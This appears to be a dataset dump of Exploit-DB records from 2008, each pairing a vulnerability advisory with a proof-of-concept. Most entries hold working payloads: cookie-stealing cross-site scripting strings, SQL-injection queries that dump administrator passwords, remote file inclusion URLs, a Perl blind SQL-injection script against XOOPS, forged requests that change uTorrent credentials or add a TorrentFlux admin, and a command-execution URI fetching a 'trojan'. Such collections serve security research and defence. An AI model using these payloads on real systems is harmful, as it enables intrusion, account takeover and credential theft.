QLWD/code_shield huggingface dataset:
标题: EJ3 BlackBook 1.0 - 'header.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31722 CVE: 2008-2188 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/29015/info
 
BlackBook is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
BlackBook 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/blackbook/header.php?bookMetaTags="> <script>alert(document.cookie)</script>
http://www.example.com/blackbook/header.php?estiloCSS="> <script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31722
标题: MJGUEST 6.7 - 'QT 'mjguest.php' Cross-Site Scripting EDB-ID: 31717 CVE: 2008-2187 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/29002/info


MJGUEST is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MJGUEST 6.7 GT is vulnerable; other versions may also be affected. 

http://www.example.com/mjguest/mjguest.php?do=redirect&level=>"<[XSS] URL: https://www.exploit-db.com/exploits/31717
标题: Siteman 2.0.x2 - 'module' Cross-Site Scripting / Local File Inclusion EDB-ID: 31709 CVE: 2008-2082 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28943/info

Siteman is prone to a local file-include vulnerability and a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this as a cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Or, the attacker may exploit the issue as a local file-include vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

Siteman 2.0.x2 is vulnerable; other versions may also be affected. 

http://www.example.com/siteman2/index.php?module=[XSS] URL: https://www.exploit-db.com/exploits/31709
标题: IBM Lotus Expeditor 6.1 - URI Handler Command Execution EDB-ID: 31706 CVE: 2008-1965 类型: REMOTE 平台: UNIX 发布日期: 2008-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28926/info

IBM Lotus Expeditor is prone to a command-execution vulnerability because it fails to properly sanitize input.

Successfully exploiting this issue allows remote attackers to execute arbitrary commands in the context of users that follow malicious URIs.

We don't know which specific versions of IBM Lotus Expeditor are affected. We will update this BID as more information emerges. 

cai:"%20-launcher%20\\6.6.6.6\d$\trojan URL: https://www.exploit-db.com/exploits/31706
标题: PHCDownload 1.1 - '/admin/index.php?hash' SQL Injection EDB-ID: 31704 CVE: 2008-6596 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28922/info

PHCDownload is prone to an SQL-injection and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHCDownload 1.1.0 is vulnerable to these issues; other versions may also be affected. 

http://localhost/upload/admin/index.php?hash=-1'/**/union/**/select/**/adminsession_user_id,1,adminsession_hash,adminsession_name,4,5,6,7/**/from/**/phcdl_sessions_admin/* URL: https://www.exploit-db.com/exploits/31704
标题: Computer Associates ARCserve Backup Discovery Service Remote - Denial of Service EDB-ID: 31707 CVE: 2008-1979 类型: DOS 平台: WINDOWS 发布日期: 2008-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28927/info

Computer Associates ARCserve Backup is affected by a denial-of-service vulnerability because the application mishandles malformed user-supplied input.

A remote attacker may exploit this issue to cause denial-of-service conditions.

CA ARCserve Backup 12.0.5454.0 is affected by this issue; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31707.zip URL: https://www.exploit-db.com/exploits/31707
标题: F5 Networks FirePass 4100 SSL VPN - 'installControl.php3' Cross-Site Scripting EDB-ID: 31698 CVE: 2008-2030 类型: REMOTE 平台: HARDWARE 发布日期: 2008-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/28902/info

F5 Networks FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

FirePass 4100 SSL VPN Firmware 5.4.2-5.5.2 and 6.0-6.2 are vulnerable. 

http://www.example.com/installControl.php3?1&%22%3E%3C/script%3E%3Ctextarea%3EHtml%20injection%3C/textarea%3E%3C!--= http://www.example.com/installControl.php3?>'"><script>alert(514)</script> URL: https://www.exploit-db.com/exploits/31698
标题: PHP-Nuke DownloadsPlus Module - Arbitrary File Upload EDB-ID: 31702 CVE: 2008-4767 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28919/info

The DownloadsPlus module for PHP-Nuke is prone to a vulnerability that lets remote attackers upload and execute arbitrary code because the application fails to sanitize user-supplied input. This issue permits attackers to upload arbitrary files with '.htm', '.html', or '.txt' extensions.

An attacker can leverage this issue to execute arbitrary code on an affected computer with the privileges of the webserver process.

Note that to exploit this issue, the attacker may require valid login credentials. 

http://www.example.com/phpnuke/upload_category/filename.html URL: https://www.exploit-db.com/exploits/31702
标题: Horde Webmail 1.0.6 - 'addevent.php' Cross-Site Scripting EDB-ID: 31697 CVE: 2008-1974 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/28898/info

Horde Webmail is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

This issue affects Kronolith 2.1.7. The vulnerable Kronolith versions are included in Horde Groupware 1.0.5 and Horde Groupware Webmail Edition 1.0.6. 

http://www.example.com/horde/kronolith/addevent.php?timestamp=1208932200&url=[xss] URL: https://www.exploit-db.com/exploits/31697
标题: Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion EDB-ID: 31708 CVE: 2010-2918 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28942/info

The Visites component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Visites 1.1 RC2 is vulnerable; other versions may also be affected.

http://www.example.com/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=[evilcode] URL: https://www.exploit-db.com/exploits/31708
标题: Pixel Motion Blog - 'list_article.php' Cross-Site Scripting EDB-ID: 31703 CVE: 2008-1986 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28920/info

Pixel Motion Blog is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://localhost/a/liste_article.php?jours="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31703
标题: PHCDownload 1.1 - '/upload/install/index.php?step' Cross-Site Scripting EDB-ID: 31705 CVE: 2008-6597 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28922/info
 
PHCDownload is prone to an SQL-injection and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
PHCDownload 1.1.0 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/upload/install/index.php?step="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31705
标题: Digital Hive 2.0 - 'base.php' Cross-Site Scripting EDB-ID: 31701 CVE: 2008-1985 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28918/info

Digital Hive is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Digital Hive 2.0 RC2 is vulnerable; other versions may also be affected.

http://www.example.com/a/hive_v2.RC2/base.php?page=membres.php&mt=[XSS] URL: https://www.exploit-db.com/exploits/31701
标题: PortailPHP 2.0 - 'mod_search' Remote File Inclusion EDB-ID: 31679 CVE: 2007-0820 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/28867/info

PortailPHP is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying computer; other attacks are also possible.

PortailPHP 2.0 is vulnerable; other versions may also be vulnerable. 


http://www.example.com/portailphp_path/mod_search/index.php?chemin=ZoRlu.txt URL: https://www.exploit-db.com/exploits/31679
标题: S9Y Serendipity 1.3 - Referer HTTP Header Cross-Site Scripting EDB-ID: 31682 CVE: 2008-1385 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/28885/info

S9Y Serendipity is prone to an HTML-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

S9Y Serendipity 1.3 is vulnerable; other versions may also be affected.

The following proof of concept is available for the referrer issue:

wget --referer='http://<hr onMouseOver="alert(7)">' http://someblog.com/ URL: https://www.exploit-db.com/exploits/31682
标题: XOOPS 2.0.14 Article Module - 'article.php' SQL Injection EDB-ID: 31681 CVE: 2008-2094 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/28879/info


XOOPS Article module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

# Exploit :

#############################################

#Coded By Cr@zy_King http://coderx.org]#

#############################################

use IO::Socket;

if (@ARGV != 3)

{

print "\n-----------------------------------\n";

print "Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it\n";

print "-----------------------------------\n";

print "\n4ever Cra\n";

print "crazy_kinq[at]hotmail.co.uk\n";

print "http://coderx.org\n";

print "\n-----------------------------------\n";

print "\nKullanim: $0 <server> <path> <uid>\n";

print "Ornek: $0 www.victim.com /path 1\n";

print "\n-----------------------------------\n";

exit ();

}

$server = $ARGV[0];

$path = $ARGV[1];

$uid = $ARGV[2];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort =>

"80");

printf $socket ("GET

%s/modules/articles/article.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NUL
L,NULL,NULL,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL/**/FROM/**/xoops_users/**/WHERE/**/uid=$uid/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection:

close\n\n",

$path,$server,$uid);

while(<$socket>)

{

if (/\>(\w{32})\</) { print "\nID '$uid' User Password :\n\n$1\n"; }

}

# Cr@zy_King

# http://coderx.org

# crazy_kinq (at) hotmail.co (dot) uk [email concealed] URL: https://www.exploit-db.com/exploits/31681
标题: μTorrent (uTorrent) WebUI 0.310 Beta 2 - Cross-Site Request Forgery EDB-ID: 31672 CVE: 2008-6586 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/28847/info

uTorrent WebUI is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to execute arbitrary actions in the context of the affected application.

uTorrent WebUI 0.310 beta 2 is vulnerable; other versions may also be affected.

To force a file download:
http://www.example.com:8080/gui/?action=add-url&s=http://localhost/backdoor.torrent

To change administrative credentials and settings:
http://www.example.com:8080/gui/?action=setsetting&s=webui.username&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.password&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.port&v=4096 http://www.example.com:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1 URL: https://www.exploit-db.com/exploits/31672
标题: TLM CMS 3.1 - Multiple SQL Injections EDB-ID: 31668 CVE: 2008-4768 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/28837/info

TLM CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

TLM CMS 3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/timcms31/a-b-membres.php?action=Perso&nom=1'/**/union/**/select/**/0,1,2,3,4,5,6,US_uid,8,9,US_mail,11,12,13,14,15,US_pseudo,US_pwd,18,19,20,21,22,23/**/from/**/pphp_user/*
http://www.example.com/tmcms31/goodies.php?act=lire&idnews=-1/**/union/**/select/**/0,1,2,US_pwd,US_pseudo,5,6,7,US_mail,9,10/**/from/**/pphp_user/* URL: https://www.exploit-db.com/exploits/31668
标题: Advanced Electron Forum 1.0.6 - 'beg' Cross-Site Scripting EDB-ID: 31677 CVE: 2008-1983 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/28865/info

Advanced Electron Forum (AEF) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Advanced Electron Forum (AEF) 1.0.6 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?act=members&sortby=1&order=1&beg=[XSS] URL: https://www.exploit-db.com/exploits/31677
标题: Wikepage Opus 13 2007.2 - 'wiki' Cross-Site Scripting EDB-ID: 31669 CVE: 2008-1956 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/28842/info

Wikepage Opus is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Wikepage Opus 13 2007.2 is vulnerable; other versions may also be affected.

http://www.example.com/wikepage_2007_2/index.php?wiki=test%22%20onclick=%22alert(1)%22%20%20bla=%22 URL: https://www.exploit-db.com/exploits/31669
标题: EsContacts 1.0 - 'search.php?msg' Cross-Site Scripting EDB-ID: 31665 CVE: 2008-2037 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28825/info
     
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/EScontacts_path/EsContacts/search.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/31665
标题: Cobalt 2.0 - 'adminler.asp' SQL Injection EDB-ID: 31666 CVE: 2008-6203 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28831/info

CoBaLT is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CoBaLT 2.0 is affected; other versions may also be vulnerable. 

http://www.example.com/cobalt/cobalt_v2_yonetim/adminler.asp?git=duzenle&id=2+union+select+0,(sifre),(uye),3,null,5,6,7,8+from+admin
http://www.example.com/cobalt/cobalt_v2_yonetim/adminler.asp?git=duzenle&id=2+union+select+0,(sifre),(uye),3,null,5,6,7,8+from+admin+where+id=4 URL: https://www.exploit-db.com/exploits/31666
标题: Microsoft Windows - 'SeImpersonatePrivilege' Local Privilege Escalation EDB-ID: 31667 CVE: 2008-1436 类型: LOCAL 平台: WINDOWS 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28833/info

Microsoft Windows is prone to a privilege-escalation vulnerability.

Successful exploits may allow authenticated users to elevate their privileges to NetworkService. This allows attackers to execute code with elevated privileges and aids in further exploits. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6705.zip URL: https://www.exploit-db.com/exploits/31667
标题: WordPress Core 2.3.3 - 'cat' Directory Traversal EDB-ID: 31670 CVE: 2008-4769 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/28845/info

WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to access sensitive information that could aid in further attacks.

WordPress 2.3.3 is vulnerable; other versions may also be affected.

http://www.example.com/wordpress/?cat=1.php/../searchform? URL: https://www.exploit-db.com/exploits/31670
标题: EsContacts 1.0 - 'groupes.php?msg' Cross-Site Scripting EDB-ID: 31662 CVE: 2008-2037 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28825/info
  
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/EScontacts_path/EsContacts/groupes.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/31662
标题: EsContacts 1.0 - 'login.php?msg' Cross-Site Scripting EDB-ID: 31664 CVE: 2008-2037 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28825/info
    
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/EScontacts_path/EsContacts/login.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/31664
标题: EsContacts 1.0 - 'importer.php?msg' Cross-Site Scripting EDB-ID: 31663 CVE: 2008-2037 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28825/info
   
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/EScontacts_path/EsContacts/importer.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/31663
标题: TorrentFlux 2.3 - 'admin.php' Cross-Site Request Forgery (Add Admin) EDB-ID: 31671 CVE: 2008-6585 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/28846/info

TorrentFlux is prone to a cross-site request-forgery vulnerability and a remote PHP code-execution vulnerability.

Exploiting these issues may allow a remote attacker to create administrative accounts in the application or to execute arbitrary PHP script code. This may facilitate the remote compromise of affected computers.

TorrentFlux 2.3 is vulnerable; other versions may also be affected.

<html> Add an admistrative account: <form id=?create_admin? method=?post? action=?http://localhost/torrentflux_2.3/html/admin.php?op=addUser?> <input type=hidden name=?newUser? value=?sadmin?> <input type=hidden name=?pass1&#8243; value=?password?> <input type=hidden name=?pass2&#8243; value=?password?> <input type=hidden name=?userType? value=1> <input type=submit value=?create admin?> </form> </html> <script> document.getElementById(?create_admin?).submit(); </script> URL: https://www.exploit-db.com/exploits/31671